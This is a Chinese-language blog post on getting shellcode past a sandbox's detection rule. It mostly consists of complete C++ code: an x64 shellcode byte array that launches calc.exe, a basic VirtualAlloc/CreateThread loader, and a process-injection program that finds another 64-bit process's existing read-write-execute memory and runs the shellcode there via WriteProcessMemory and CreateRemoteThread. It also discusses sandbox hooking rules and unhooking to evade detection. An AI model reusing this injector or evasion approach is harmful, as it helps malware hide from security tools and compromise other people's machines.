使用场景
在某次实践中碰到一个沙箱,在不知道沙箱强度的情况下只能一点点去探索,程序通过调用ShellCode弹出计算器。丢到沙箱里面进行测试发现被沙箱检测到并且爆出了执行ShellCode的行为。了解过沙箱的朋友都知道,沙箱一般是通过Hook关键API得到调用信息返回给脚本去匹配规则。
解析
#include#include unsigned char buf[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50" "x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52" "x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a" "x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41" "xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52" "x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48" "x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40" "x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48" "x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41" "x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1" "x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c" "x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01" "xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a" "x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b" "x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00" "x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b" "x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd" "x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0" "x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff" "xd5x63x61x6cx63x2ex65x78x65x00"; int main() { auto addr = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory((HANDLE)-1, addr, buf, sizeof(buf), NULL); CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); std::cin.get(); return 0; }
在这个函数中我们执行ShellCode的调用了三个关键的函数VirtualAlloc,WriteProcessMemory,CreateThread而这三个函数是执行ShellCode或者注入常用的API,这里可以肯定的一点是已经被沙箱挂钩了。所以我们要绕过要不就是脱钩要不就是猜规则的写法找规则的漏洞。
规则
... if func("VirtualAlloc") == True: if func("WriteProcessMemory") == True: if func("CreateThread") == True: print("执行了ShellCode") ...
func函数中检测钩子输出文件或者从内存信息获取到这个三个函数的触发顺序,现在触发了这条规则,就说明我们目前是在执行ShellCode,因此成为了报毒的一个关键点。
如何绕过
最简单的绕过是使用类似功能的函数进行替代,这里也可能存在一个问题,就是常见的那些函数已经被挂钩了,因为很多沙箱默认就挂钩了很多内存相关的API,如果我们如果只是替换一些函数可能还是会被检测到,当然不排除这些方式可以绕过一些沙箱,单这次遇到的沙箱我测试替换了很多API还是会被检测到。那么我们只能从规则方面去下手了。
我们反过来想一下,我们执行ShellCode就需要先申请可执行的内存,在写数据到内存中,在启动线程去执行数据。那么我们可不可以不申请内存就可以执行。这就是我们绕过不这么健全规则的一种方式。
构造
1. 遍历系统进程
遍历进程的方式有很多中,这里我们选择使用Windows Api进行遍历,具体代码如下:
#include#include #include int main() { PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(snapshot, &processEntry); do { std::cout << processEntry.szExeFile << " pid:" << processEntry.th32ProcessID << " "; } while (Process32Next(snapshot, &processEntry)); return 0; }
下一步我们要去判断软件架构,为什么要进行这一步是取决于我们的ShellCode是多少位的,这里我的ShellCode是64位,所以要过滤掉32位进程,不然在后续找到可读可写可执行内存的时候我们虽然可以写入到内存,但不能执行起来。
2. 判断软件架构
#include#include #include int main() { PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(snapshot, &processEntry); HANDLE process = NULL; LPVOID offset = 0; MEMORY_BASIC_INFORMATION mbi = {}; do { process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { BOOL isWow64 = FALSE; if (IsWow64Process(process, &isWow64) && isWow64) { // 过滤掉32位进程 CloseHandle(process); continue; } CloseHandle(process); std::cout << processEntry.szExeFile << " pid:" << processEntry.th32ProcessID << " is 64-bit." << " "; } } while (Process32Next(snapshot, &processEntry)); return 0; }
IsWow64Process(process, &isWow64) && isWow64
新加入的代码中使用IsWow64Process这个API去判断进程是否为64位,如果不是我们就进行下次一循环。如果是我们需要架构的进程我们就要进行下一步判断进程中是否有可读可写可执行的内存让我们去构造ShellCode。
3. 判断进程是否已经有可读可写可执行的内存
#include#include #include int main() { PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(snapshot, &processEntry); HANDLE process = NULL; LPVOID offset = 0; MEMORY_BASIC_INFORMATION mbi = {}; do { process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { BOOL isWow64 = FALSE; if (IsWow64Process(process, &isWow64) && isWow64) { // 过滤掉32位进程 CloseHandle(process); continue; } std::cout << processEntry.szExeFile << " pid:" << processEntry.th32ProcessID << " "; while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) { std::cout << " RWX内存地址: 0x" << std::hex << mbi.BaseAddress << " "; } offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize); } offset = 0; CloseHandle(process); } } while (Process32Next(snapshot, &processEntry)); return 0; }
这种就是我们可操作的内存,主要使用到的函数是VirtualQueryEx,通过遍历出进程中所有内存,对内存属性进行判断,筛选出我们需要的内存。
4. 写入内存到获取的分块中
#include#include #include unsigned char buf[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50" "x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52" "x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a" "x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41" "xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52" "x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48" "x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40" "x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48" "x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41" "x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1" "x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c" "x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01" "xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a" "x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b" "x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00" "x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b" "x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd" "x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0" "x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff" "xd5x63x61x6cx63x2ex65x78x65x00"; int main() { PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(snapshot, &processEntry); HANDLE process = NULL; LPVOID offset = 0; MEMORY_BASIC_INFORMATION mbi = {}; bool isExecute = false; do { process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { BOOL isWow64 = FALSE; if (IsWow64Process(process, &isWow64) && isWow64) { // 过滤掉32位进程 CloseHandle(process); continue; } while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) { std::cout << processEntry.szExeFile << " pid:" << processEntry.th32ProcessID << " 写入地址: 0x" << std::hex << mbi.BaseAddress << std::endl; WriteProcessMemory(process, mbi.BaseAddress, buf, sizeof(buf), NULL); CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL); isExecute = true; break; } offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize); } offset = 0; CloseHandle(process); if (isExecute) { break; } } } while (Process32Next(snapshot, &processEntry)); return 0; }
这里需要注意的是第一次获取到可用内存的时候就可以退出循环了,避免ShellCode多次执行。
5. 执行ShellCode完成目标
验证内存
检测方式
注入检测:这种方式不管怎么绕,都必须要经过的一点,都要通过一个进程去往另外一个进程中去写入数据,而这个行为是很好检测的。遇到这种基本可以直接判定为是恶意软件。
微步检测:触发ATTCK
微步分析出现两个检测总得来说就是进行了注入,规则可能是针对WriteProcessMemory这个函数进行检测。
BOOL WINAPI WriteProcessMemory(
In HANDLE hProcess,
In LPVOID lpBaseAddress,
In_reads_bytes(nSize) LPCVOID lpBuffer,
In SIZE_T nSize,
Out_opt SIZE_T* lpNumberOfBytesWritten);
第一个参数是要被写入数据的进程句柄,这里可以根据句柄去判断出写入的是哪个进程,在与当前挂钩的进程进行对比,从而判断出来是写入到其他进程还是当前进程,如果是其他进程就触发规则‘修改其他进程内存数据’。而这种我们也可以通过前面讲到绕过EDR脱钩来反沙箱钩子,不过这种方式只能绕过三环的钩子,如果是内核钩子我们就需要在0环对抗了。还有就是我们脱钩也是一种很常见的高危行为,常规脱钩大概率是会被直接检测出的。
注入规则的触发是WriteProcessMemory + CreateRemoteThread,如果单纯的去调用WriteProcessMemory触发的是执行远程函数这个规则,应该是针对这两个API去组建了一个新的规则。
总结
本次试验的目的并不是去绕过一款沙箱。主要是要总结经验,去根据不同的引擎和规则针对性的去改变自己的免杀方式,没有哪种方式的免杀是可以永久不杀的,也没有任何沙箱可以百分百检测到各种行为。主要是在于绕过的方式和规则的构建。要多尝试总结出被杀的原因。
审核编辑:刘清
全部0条评论
快来发表一下你的评论吧 !